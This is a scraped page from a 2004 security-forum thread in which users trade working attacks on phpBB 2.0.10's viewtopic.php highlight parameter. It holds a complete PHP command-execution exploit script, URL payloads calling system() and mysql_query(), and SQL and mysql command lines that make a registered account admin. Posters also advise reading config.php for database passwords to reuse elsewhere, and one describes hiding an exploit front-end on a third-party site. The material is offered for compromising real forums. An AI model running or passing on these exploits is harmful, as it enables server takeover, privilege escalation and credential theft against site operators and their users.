Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
September 20, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 253
Members: 1
Total: 254

Online Now:
01: david - Homepage
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> vulns in phpbb 2.0.10 Goto page Previous  1, 2, 3, 4  Next
Post new topic  Reply to topic View previous topic :: View next topic 
Re: a
PostPosted: Tue Nov 23, 2004 5:23 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




SteX wrote:
What did you entered in SQL tab..?



i not use sql, i test CMD commands work 100%
View user's profile Send private message Visit poster's website
PostPosted: Tue Nov 23, 2004 9:20 pm Reply with quote
Yomane
Regular user
Regular user
 
Joined: Nov 23, 2004
Posts: 8




But can we execute sql query with mysql_query ? Because I try it and it doesn't work ?!

Like this example:

Code:
&highlight=%2527.$poster=mysql_query(INSERT INTO phpbb_users VALUES %2910%2C1%2C"test"%2C"098f6bcd4621d373cade4e832627b4f6"%2C0%2C0%2C0%2C0%2C1%2C0%2C0%2C1%2CNULL%2C"d M Y H:i"%2C0%2C0%2C0%2CNULL%2CNULL%2CNULL%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2CNULL%2C0%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%29).%2527


And it's not supposed to work ?


Last edited by Yomane on Fri Nov 26, 2004 1:23 am; edited 3 times in total
View user's profile Send private message
PostPosted: Tue Nov 23, 2004 9:49 pm Reply with quote
SteX
Advanced user
Advanced user
 
Joined: May 18, 2004
Posts: 181
Location: Serbia




waraxe ,where are you Smile

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
getting admin
PostPosted: Wed Nov 24, 2004 7:41 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




I were playing around with this. I look that there are pepople asking to get admin hashes. With the Sql injection in this exploit (mysql_query()) you can give your self admin.

Just Register a new user, Get the UID of your new user (you can see it in memberlist in the link of your user &u=xxxx )
Then go to the exploit and complete de boxes (in the bottom part) And in SQL put this
Code:

UPDATE phpbb_users SET user_level=1 WHERE user_id=xxx

where xxx is YOUR UID

Then loggin and you have admin.
If you havent maybe the prefix of mysql tables are diferents of "phpbb_"

You can see the prefix in the config.php file. So with de system() exploit you can get that file very easy (cat <path>/config.php)

So there You have admin

Also try the password of mysqlUser... so people (A LOT) use the same password for theirs ftps, cpanels, shells, etc etc

Ok, hope this help someone
and sorry about my bad english
View user's profile Send private message Visit poster's website
PostPosted: Wed Nov 24, 2004 7:56 pm Reply with quote
Yomane
Regular user
Regular user
 
Joined: Nov 23, 2004
Posts: 8




Thank you ReFleX, but I image that is possible to do it without the exploit program on howdark.com no ?!?
View user's profile Send private message
PostPosted: Wed Nov 24, 2004 8:56 pm Reply with quote
jessica
Regular user
Regular user
 
Joined: Sep 18, 2004
Posts: 5




I took all of it down, it's gone.

I never got mysql_query to work, but the theoritically it should have, I never gave it much testing.
View user's profile Send private message Visit poster's website AIM Address
PostPosted: Wed Nov 24, 2004 9:31 pm Reply with quote
SteX
Advanced user
Advanced user
 
Joined: May 18, 2004
Posts: 181
Location: Serbia




Whats happened with howdark.com ..
Is there any similar "exploit" site,or somebody have backup od "exploit" page ???

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
ok
PostPosted: Wed Nov 24, 2004 11:39 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




ouch.... howdark is gone.... i hope it's gone for a while. I try to make it manualy but I cant do it, I dont have any guide to do it, the only one that I make to work is
Code:

viewtopic.php?t=13&highlight=%2527%252esystem(l%252es)%252e%2527

It make an ls I'll keep trying I post any news i found.

If someone know how to make this exploit manualy post the way it's and an explaniation of this.
View user's profile Send private message Visit poster's website
PostPosted: Thu Nov 25, 2004 2:07 pm Reply with quote
SteX
Advanced user
Advanced user
 
Joined: May 18, 2004
Posts: 181
Location: Serbia




I Found it..
But almost 99% of hosts dont have curl extension... Smile

Code:
#!/usr/bin/php -q
<?php
/*
# phpBB 2.0.10  execute command by pokleyzz <pokleyzz at scan-associates.net>
# 15th November 2004 : 4:04 a.m
#
# bug found by How Dark (http://www.howdark.com) (1st October 2004)
#
# Requirement:
#
#    PHP 4.x with curl extension;
#
# ** Selamat Hari Raya **
*/

if (!(function_exists('curl_init'))) {
    echo "cURL extension required\n";
    exit;
}

if ($argv[2]){
    $url = $argv[1];
    $command = $argv[2];
}
else {
    echo "Usage: ".$argv[0]." <URL> <command> [topic id] [proxy]\n\n";
    echo "\tURL\t URL to phpnBB site (ex: http://127.0.0.1/html)\n";
    echo "\tcommand\t command to execute on server  (ex: 'ls -la')\n";
    echo "\ttopic_id\t topic id\n";
    echo "\tproxy\t optional proxy url  (ex: http://10.10.10.10:8080)\n";
    exit;
}
if ($argv[3])
    $topic = $argv[3];
else
    $topic = 1;

if ($argv[4])
    $proxy = $argv[4];


$cmd = str2chr($command);

$action = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd.")%252e%2527";       
$ch=curl_init();
if ($proxy){
    curl_setopt($ch, CURLOPT_PROXY,$proxy);
}
curl_setopt($ch, CURLOPT_URL,$url.$action);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$res=curl_exec ($ch);
curl_close ($ch);
echo $res;

function str2chr($str){

    for($i = 0;$i < strlen($str);$i++){
        $chr .= "chr(".ord($str{$i}).")";
        if ($i != strlen($str) -1)
            $chr .= "%252e";   
    }
    return $chr;
}
?>

_________________

We would change the world, but God won't give us the sourcecode...
....Watch the master. Follow the master. Be the master....
-------------------------------------------------------
View user's profile Send private message
PostPosted: Thu Nov 25, 2004 2:12 pm Reply with quote
hebe
Advanced user
Advanced user
 
Joined: Sep 04, 2004
Posts: 59




yes Smile
how can we drop all tables or inject a new admin hash
View user's profile Send private message
PostPosted: Fri Nov 26, 2004 8:23 am Reply with quote
DeNKo
Beginner
Beginner
 
Joined: Nov 26, 2004
Posts: 1




First, excuse me if you don't understand me because my english isn't too good.

I've been testing this bug and searching a way to inject sql code. A little time later, I think I've "discovered" a good way..
If we know the database host,user,pass and name.. Why we dont try to execute mysql with those parameters to inject sql code?

Example:

We have a phpbb forum which it connects to the next database:
$dbhost=localhost
$dbname=victim_phpbb
$dbuser=victim_forum
$dbpass=aeiou

I'm using this method to execute shell commands..
/viewtopic.php?t=236&highlight=%2527.$poster=%60$ls%60.%2527&ls=[command]

There isn't any unusual think, we use $ls to ask for the shell command later with the &ls= parameter.

Now, using the database example, we can use victim's mysql client to connect to the database and inject sql code..

If we had a shell, we could inject sql code with a unique commandline:

mysql -h localhost -u victim_forum --password=aeiou -D=victim_phpbb -e "UPDATE phpbb_users SET user_level=1 WHERE user_id=XXX"

If we want to do it using the bug, we should type something like this:

/viewtopic.php?t=236&highlight=%2527.$poster=%60$ls%60.%2527&ls=mysql%20-h%20localhost%20-u%20victim_forum%20--password=aeiou%20-D=victim_phpbb%20-e%20"UPDATE%20phpbb_users%20SET%20user_level=1%20WHERE%20user_id=100"

"-e" modificator is the one which allow us to execute a sql query

After that, we have admin privileges in our account Very Happy. We can check it using the sql query: SELECT user_level WHERE user_id=xxx

I hope it could help you...
View user's profile Send private message
please
PostPosted: Fri Nov 26, 2004 12:01 pm Reply with quote
talmo11
Beginner
Beginner
 
Joined: Nov 06, 2004
Posts: 2




reflax i sent u pm


Last edited by talmo11 on Fri Nov 26, 2004 4:43 pm; edited 1 time in total
View user's profile Send private message
Testing...
PostPosted: Fri Nov 26, 2004 12:03 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




Stex... I'll test this php script now, if it works fine We maybe could change it To work un HTTP mode so we can upload ir in some servers were i have access.

ok!... lets work Rolling Eyes
View user's profile Send private message Visit poster's website
OKEY!
PostPosted: Fri Nov 26, 2004 12:51 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




OKEY guys it make it!... Now we have to upload it, I have a few pages were i have access... maybe we can hide it there Rolling Eyes
But first I post the code so anyone can see it and tell if something is wrong. I dont test de sql injection but I thing it works

Code:

<?
/*
# Create by ReFleX
#
# Function  str2chr by ** Selamat Hari Raya **
#
*/

    $url = $_POST['url'];
    $cmd = $_POST['cmd'];
    $topic = $_POST['topicid'];
    $a = $_GET['a'];


$cmd = str2chr($cmd);

if($a==1)
  $getvars = "/viewtopic.php?t=$topic&highlight=%2527%252esystem(".$cmd.")%252e%2527";
else
  $getvars = "/viewtopic.php?t=$topic&highlight=%2527%252emysql_query(".$cmd.")%252e%2527";

$fullurl = $url . $getvars;

if(isset($a))
  header("Location: $fullurl");
else
  echo "<b>Created by ReFleX</b>";

function str2chr($str){

    for($i = 0;$i < strlen($str);$i++){
        $chr .= "chr(".ord($str{$i}).")";
        if ($i != strlen($str) -1)
            $chr .= "%252e";   
    }
    return $chr;
}


?>


I use the function str2chr of the script that stex post
View user's profile Send private message Visit poster's website
Uploading...
PostPosted: Fri Nov 26, 2004 1:00 pm Reply with quote
ReFleX
Active user
Active user
 
Joined: Nov 05, 2004
Posts: 39
Location: ARGENTINA!




Okey, here I put the script


http://www.sururufitness.com/2bgal/stat/lang/

It's hide....

Its = to the other script of howdark The same face So just test it, I will upload it o other servers so we can have alternatives

I've to work so in a few hour I make a tar with all the files of the exploit together

Laughing Laughing Laughing
View user's profile Send private message Visit poster's website
vulns in phpbb 2.0.10
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 2 of 4  
Goto page Previous  1, 2, 3, 4  Next
  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Game Hints
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.094 Seconds